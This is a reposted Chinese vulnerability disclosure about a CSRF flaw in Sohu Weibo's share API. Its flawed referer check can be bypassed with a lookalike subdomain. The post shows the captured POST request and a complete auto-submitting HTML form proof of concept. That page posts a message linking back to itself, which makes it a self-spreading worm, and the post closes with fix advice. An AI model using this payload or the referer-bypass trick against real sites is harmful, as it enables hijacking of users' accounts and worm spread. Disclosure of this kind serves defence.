网站地图    收藏   

主页 > 后端 > 网站安全 >

搜狐微博防御体系存在缺陷导致蠕虫爆发 - 网站

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 1.存在蠕虫肯定是发布微博的地方出了问题,看这个分享到搜狐微博的接口:2.点击【分享】,抓包看请求:POST http://t.sohu.com/third/insertTwitter HTTP/1.1Host: t.sohu.comProxy-Connection: keep-aliveC......

1.存在蠕虫肯定是发布微博的地方出了问题,看这个分享到搜狐微博的接口:
 
2.点击【分享】,抓包看请求:
POST http://t.sohu.com/third/insertTwitter HTTP/1.1
Host: t.sohu.com
Proxy-Connection: keep-alive
Content-Length: 360
Origin: http://t.sohu.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1284.2 Safari/537.13
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
Referer: http://t.sohu.com/third/post.jsp?link=http%3A%2F%2Fyule.sohu.com%2F20130117%2Fn363726424.shtml&title=%E4%B8%93%E8%AE%BF%E5%91%A8%E6%98%9F%E9%A9%B0%EF%BC%9A%E5%A6%82%E6%9E%9C%E8%A7%82%E4%BC%97%E6%8E%A5%E5%8F%97%20%E6%88%91%E5%B0%B1%E7%BB%A7%E7%BB%AD%E5%90%83%E8%80%81%E6%9C%AC-%E6%90%9C%E7%8B%90%E5%A8%B1%E4%B9%90
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: 略 www.2cto.com
 
act=insertOrigin&msg=%u56FD%u5BB6%u6709%u4EFB%u52A1%u7ED9%u4F60%u4E86%uFF01&type=2115&url=http%3A%2F%2Ft.itc.cn%2FnWfah&app_key=cmsnew&title=%D7%A8%B7%C3%D6%DC%D0%C7%B3%DB%A3%BA%C8%E7%B9%FB%B9%DB%D6%DA%BD%D3%CA%DC+%CE%D2%BE%CD%BC%CC%D0%F8%B3%D4%C0%CF%B1%BE-%CB%D1%BA%FC%D3%E9%C0%D6&media=%CB%D1%BA%FC%D3%E9%C0%D6&mediaurl=http%3A%2F%2Fyule.sohu.com%2F&summary=
 
3.上述请求POST参数的具体含义看参数名就知道了,这里简单说下msg参数是转发微博时自己留言的内容,url参数是指转发的微博来自的具体链接,titile参数是转发来的微博的标题,media参数是指微博来自什么媒体,mediaurl当然指的是媒体的链接咯!
 
4.这里实际上是做referer判断的,即referer必须为sohu.com或者空,其他域不行。这意味着我是不是只能本地单机玩了啊!哈哈,经过简单的测试,发现验证referer的正则表达式写的有问题!只是判断了域名是否包含有sohu.com,而不是验证根域名为sohu.com。那么我这里可以构造子域名t.sohu.com.test.av作为蠕虫传播的载体服务器,即可绕过。 
漏洞证明:5.于是乎,我构造了下面这个POC链接:
http://t.sohu.com.xssed.me/csrf/sohu.html
将POC代码一并贴在这里:
<html>
<head>
</head>
<body>
<form id="fxx" name="fxx" action="http://t.sohu.com/third/insertTwitter" method="POST">
<input type="text" name="act" value="insertOrigin" />
<input type="text" name="msg" id="msg" value="follow me" />
<input type="text" name="type" value="2115" />
<input type="text" name="url" value="http://t.sohu.com.xssed.me/csrf/sohu.html" />
<input type="text" name="app_key" value="cmsnew" />
<input type="text" name="title" value="专访周星驰:如果观众接受 我就继续吃老本-搜狐娱乐" />
<input type="text" name="media" value="xssed.me" />
<input type="text" name="mediaurl" value="http://t.sohu.com.xssed.me/csrf/sohu.html" />
<input type="text" name="summary" value="" />
<input type="submit" value="submit" />
</form>
<script>
document.fxx.submit();
</script>
</body>
</html>
 
6.Chrome登录风萧萧吸的微博账号发布微博如下:
 
7.Firefox登录另一个网易微博账号,找到风萧萧吸:
 
 
8.点击【专访周星驰】处,返回如下:
9.同时,自己也转发了相关蠕虫微博:
 


 
修复方案:

1.既然referer域名可以改成t.163.com.test.av是可以的,那么改成test.av/csrf.php?163.com呢,是不是可以呢?这个以后大家当做小的细节来考虑吧!
 
2.在防御方面,强烈建议:
关键请求还是改成post比较好!
关键请求还是加token比较好
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论